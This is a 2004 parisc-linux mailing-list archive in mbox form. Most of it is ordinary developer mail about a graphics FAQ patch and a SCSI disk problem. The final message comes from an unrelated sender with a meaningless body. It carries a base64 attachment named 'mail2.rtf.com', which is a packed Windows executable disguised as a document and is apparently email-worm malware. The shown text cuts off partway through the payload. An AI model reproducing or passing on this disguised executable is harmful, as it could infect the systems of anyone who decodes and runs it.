	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 19:43:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21433

On Thu, 15 Apr 2004, Grant Grundler wrote:

> I've hacked it a bit and committed to CVS (repository "web").
> Please submit patches against graphics-howto.x for further
> modifications.
>
> Please let me know if you are (a) ok with the "Artistic Commons License"
> and (b) changes I made to the text.

No problem with (a), and (b) also looks fine, excepts that

1. "Linux framebuffer driver" and "XFree86/X.org driver" should better be
   subtopics to "Which non-HP PCI graphic card with PA-RISC Linux" (sic),
   or perhaps even subtopics "You have to initialize a non-HP graphics ...."

2. It should be "Which non-HP PCI graphic cards *work* with PA-RISC Linux"


Thanks,
  Max



From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with SCSI in K-Class
Date: Thu, 15 Apr 2004 17:33:36 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20040415233336.GA12667@colo.lackof.org>
References: <OF18825705.F1E7C8A9-ONC1256E77.0068D1BD-C1256E77.0068D3C8@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623379 8374 80.91.229.3 (22 Nov 2014 02:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jens_Konrad/Linotype/DE@linotype.com
Original-X-From: grundler@lackof.org  Thu Apr 15 17:33:37 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id A78B0497B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 17:33:37 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E7BFD298097; Thu, 15 Apr 2004 17:33:36 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12497-05; Thu, 15 Apr 2004 17:33:36 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 56DBE298054; Thu, 15 Apr 2004 17:33:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <OF18825705.F1E7C8A9-ONC1256E77.0068D1BD-C1256E77.0068D3C8@fonts.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 23:33:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21434

On Thu, Apr 15, 2004 at 09:04:59PM +0200, Jens_Konrad/Linotype/DE@linotype.com wrote:
> Now I took away the streamer and replaced it with a 50GB SCSI...
...
> My guess is that the low voltage scsi-controller cannot handle the
> size of the HD - could that be??

No. I'm using 73GB drives on my C3000 w/no problem.
Something else is wrong related to the driver stack.
Ryan already asked the obvious question: which kernel version?

grant


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Thu, 15 Apr 2004 17:35:15 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20040415233515.GB12667@colo.lackof.org>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
	<Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
	<20040415154811.GA3514@colo.lackof.org>
	<Pine.LNX.4.58.0404152036190.30237@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623379 8377 80.91.229.3 (22 Nov 2014 02:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Thu Apr 15 17:35:16 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D71464B81
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 17:35:16 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5F62B2980D4; Thu, 15 Apr 2004 17:35:16 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12824-03; Thu, 15 Apr 2004 17:35:15 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9EF622980B5; Thu, 15 Apr 2004 17:35:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404152036190.30237@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 23:35:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21435

On Thu, Apr 15, 2004 at 08:42:56PM +0100, M. Grabert wrote:
> > Please submit patches against graphics-howto.x for further
> > modifications.
^^^^^^^^^^^^^^^^^^

> No problem with (a), and (b) also looks fine,

ok

> 1. "Linux framebuffer driver" and "XFree86/X.org driver" should better be
>    subtopics to "Which non-HP PCI graphic card with PA-RISC Linux" (sic),
>    or perhaps even subtopics "You have to initialize a non-HP graphics ...."
> 
> 2. It should be "Which non-HP PCI graphic cards *work* with PA-RISC Linux"

Patches would be alot easier...

thanks,
grant


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Fri, 16 Apr 2004 03:26:37 +0100 (IST)
Lines: 90
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404160323390.31354@sal.ucc.ie>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
	<Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
	<20040415154811.GA3514@colo.lackof.org>
	<Pine.LNX.4.58.0404152036190.30237@sal.ucc.ie>
	<20040415233515.GB12667@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
	BOUNDARY="-275789367-1519371959-1082082397=:31354"
X-Trace: ger.gmane.org 1416623379 8381 80.91.229.3 (22 Nov 2014 02:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: xam@cs.ucc.ie  Thu Apr 15 20:26:54 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id C64E24878
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 20:26:53 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3G2Qm0o026575;
	Fri, 16 Apr 2004 03:26:48 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040415233515.GB12667@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 02:26:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21436

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-1519371959-1082082397=:31354
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 15 Apr 2004, Grant Grundler wrote:

> > 2. It should be "Which non-HP PCI graphic cards *work* with PA-RISC Linux"
>
> Patches would be alot easier...

Here you go ...

I attached a 'cvs diff -u src/faq/graphics-howto.x', I hope that's the
normal way to prepare do a CVS patch.


Greetings,
  Max
---275789367-1519371959-1082082397=:31354
Content-Type: TEXT/plain; charset=US-ASCII; name="graphics-faq.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0404160326370.31354@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename="graphics-faq.diff"

SW5kZXg6IHNyYy9mYXEvZ3JhcGhpY3MtaG93dG8ueA0KPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PQ0KUkNTIGZpbGU6IC92YXIvY3ZzL3dlYi9zcmMvZmFxL2dy
YXBoaWNzLWhvd3RvLngsdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjINCmRp
ZmYgLXUgLXIxLjIgZ3JhcGhpY3MtaG93dG8ueA0KLS0tIGEvc3JjL2ZhcS9n
cmFwaGljcy1ob3d0by54CTE1IEFwciAyMDA0IDE2OjA4OjAyIC0wMDAwCTEu
Mg0KKysrIGIvc3JjL2ZhcS9ncmFwaGljcy1ob3d0by54CTE2IEFwciAyMDA0
IDAyOjIzOjIwIC0wMDAwDQpAQCAtMzMsMTAgKzMzLDkgQEANCiANCiBVbmZv
cnR1bmF0ZWx5IG5vIDJEIG9yIDNEIGFjY2VsZXJhdGlvbiBzdXBwb3J0IGlz
IGluIHRoZQ0KIFgxMSBkcml2ZXJzLiBPbmx5IHJhdyBmcmFtZSBidWZmZXIg
aXMgc3VwcG9ydGVkLg0KLQ0KLTxoMj5XaGljaCBub24tSFAgUENJIGdyYXBo
aWMgY2FyZHMgd2l0aCBQQS1SSVNDIExpbnV4PzwvaDI+DQotPGJyPg0KLURl
cGVuZHMgb24gd2hpY2ggZ3JhcGhpY3MgY2FyZCB5b3UgYXJlIHVzaW5nLg0K
Kzxicj48YnI+DQorPGgyPldoaWNoIG5vbi1IUCBQQ0kgZ3JhcGhpYyBjYXJk
cyB3b3JrIHdpdGggUEEtUklTQyBMaW51eD88L2gyPg0KK0RlcGVuZHMgb24g
d2hpY2ggZ3JhcGhpY3MgY2FyZCB5b3UgYXJlIHVzaW5nLjxicj48YnI+DQog
TW9zdCBncmFwaGljcyBjYXJkIGhhdmUgdG8gYmUgaW5pdGlhbGl6ZWQgYnkg
ZmlybXdhcmUgYmVmb3JlDQogdGhlIE9TIGRyaXZlciBjYW4gdXNlIHRoZSBj
YXJkLg0KIFVzdWFsbHkgdGhpcyBpcyBkb25lIGJ5IHRoZSBCSU9TIG9uIChp
eDg2LVBDcyksDQpAQCAtNDQsMTEgKzQzLDExIEBADQogaW5pdGlhbGl6YXRp
b24gcHJvZ3JhbSBzdG9yZWQgb24gdGhlIGdyYXBoaWNzIGNhcmQuDQogPGJy
Pg0KIFVuZm9ydHVuYXRlbHkgZWFjaCBvZiB0aGVzZSBmaXJtd2FyZSBpcyBp
bmNvbXBhdGlibGUgd2l0aCBvdGhlcg0KLWNvbXB1dGVycy4gUEEtUklTQyBQ
REMgY2Fubm90IGluaXRpYWxpemUgYSBQQyBncmFwaGljcyBjYXJkLg0KK2Nv
bXB1dGVycy4gRm9yIGV4YW1wbGUsIGEgUEEtUklTQyBQREMgY2Fubm90IGlu
aXRpYWxpemUgYSBQQyBncmFwaGljcyBjYXJkLg0KIFRoZXJlZm9yZSB0aGUg
Z3JhcGhpYyBjYXJkIHZlbmRvcnMgcHJvZHVjZSBkaWZmZXJlbnQgdmVyc2lv
bnMgZm9yDQogZWFjaCBwbGF0Zm9ybSAoZS5nLiBBVEkgcHJvZHVjZXMgZGlm
ZmVyZW50ICdGaXJlIEdMJyBncmFwaGljcyBjYXJkcyBmb3INCiBQQywgTUFD
IGFuZCBQQS1SSVNDKS4NCi08YnI+DQorPGJyPjxicj4NCiBUaGlzIGxlYWRz
IHRvIHRoZSBmb2xsb3dpbmcgcHJvYmxlbXM6DQogPGJyPg0KIDx1bD4NCkBA
IC01OCwxMSArNTcsOSBAQA0KIAlwcm9ibGVtLCBzaW5jZSB0aGlzIHdvdWxk
IHJlcXVpcmUgcGF0Y2hpbmcgdGhlIFBEQyBmaXJtd2FyZS4NCiAJVXNlIHNl
cmlhbCBjb25zb2xlIHRvIGFjY2VzcyB0aGUgUERDIGJvb3QgbWVudS4NCiAN
Ci0JPGxpPiBZb3UgaGF2ZSB0byBpbml0aWFsaXplIGEgbm9uLUhQIGdyYXBo
aWNzIGNhcmQgc29tZWhvdw0KLTwvdWw+DQorCTxsaT4gWW91IGhhdmUgdG8g
aW5pdGlhbGl6ZSBhIG5vbi1IUCBncmFwaGljcyBjYXJkIHNvbWVob3c6DQog
DQotPGgyPkxpbnV4IGZyYW1lYnVmZmVyIGRyaXZlcjwvaDI+DQotPGJyPg0K
KzxoMz5MaW51eCBmcmFtZWJ1ZmZlciBkcml2ZXI8L2gzPg0KIFNvbWUgZ3Jh
cGhpYyBjYXJkcyBjYW4gYmUgaW5pdGlhbGl6ZWQgYnkgdGhlIGxpbnV4IGZy
YW1lYnVmZmVyDQogZHJpdmVycyBkaXJlY3RseSwgYW5kIG1pZ2h0IHdvcmsg
b24gUEEtUklTQyBMaW51eC4NCiBUaGlzIGlzIGFuIGluY29tcGxldGUgbGlz
dDoNCkBAIC03MywxMCArNzAsOSBAQA0KIDwvdWw+DQogVG8gZGF0ZSwgVm9v
ZG9vMiBhbmQgQVRJIFJhZ2UgWEwgY2FyZCBhcmUgcmVwb3J0ZWQgdG8gaGF2
ZSB3b3JrZWQuDQogSW4gY29tYmluYXRpb24gd2l0aCB0aGUgZmJkZXYgWC1z
ZXJ2ZXIgZnJvbSBYRnJlZTg2L1gub3JnDQoteW91IHNob3VsZCBhYmxlIHRv
IGhhdmUgYSBuaWNlIFgxMSBkZXNrdG9wLg0KK3lvdSBzaG91bGQgYWJsZSB0
byBoYXZlIGEgbmljZSAoYWxiZWl0IHVuYWNjZWxlcmF0ZWQpIFgxMSBkZXNr
dG9wLg0KIA0KLTxoMj5YRnJlZTg2L1gub3JnIGRyaXZlcjwvaDI+DQotPGJy
Pg0KKzxoMz5YRnJlZTg2L1gub3JnIGRyaXZlcjwvaDM+DQogQW5vdGhlciBh
cHByb2FjaCBpcyB0byB1c2UgdGhlIFhGcmVlODYvWC5vcmcgZ3JhcGhpYyBj
YXJkIGRyaXZlcnMuDQogPGJyPg0KIFRoZSBYRnJlZTg2L1gub3JnIHNlcnZl
ciBjb250YWlucyBhIHNtYWxsIGl4ODYtRW11bGF0b3IgdGhhdCBpcyBhYmxl
DQpAQCAtODcsNiArODMsNyBAQA0KIEFuIGFkdmFudGFnZSBvZiB0aGlzIGFw
cHJvYWNoIHdvdWxkIGJlIHRoZSBhYmlsaXR5IHRvIHVzZQ0KIGFkdmFuY2Vk
IGZlYXR1cmVzIG9mIHRoZSBncmFwaGljcyBjYXJkLCBsaWtlIDJELzNEDQog
YWNjZWxlcmF0aW9uLCBncmFwaGljcyBvdmVybGF5IGV0Yy4NCis8L3VsPg0K
IDxicj4NCiA8aHI+DQogPHA+PGk+TGFzdCByZXZpc2VkOiBUaHUgQXByIDE1
IDA5OjA2OjI5IFBEVCAyMDA0PC9pPjwvcD4NCg==

---275789367-1519371959-1082082397=:31354--


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rstransc@sansad.nic.in
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] question
Date: Fri, 16 Apr 2004 11:24:08 +0530
Lines: 468
Approved: news@gmane.org
Message-ID: <20040416055406.0A4F2484B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0008_00004C5B.00001A0A"
X-Trace: ger.gmane.org 1416623380 8384 80.91.229.3 (22 Nov 2014 02:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: rstransc@sansad.nic.in  Thu Apr 15 23:54:12 2004
Return-Path: <rstransc@sansad.nic.in>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A4F2484B
	for <parisc-linux@parisc-linux.org>;
	Thu, 15 Apr 2004 23:54:06 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 05:54:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21437

This is a multi-part message in MIME format.

------=_NextPart_000_0008_00004C5B.00001A0A
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

<09580985869gj>

------=_NextPart_000_0008_00004C5B.00001A0A
Content-Type: application/octet-stream;
	name="mail2.rtf.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="mail2.rtf.com"

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
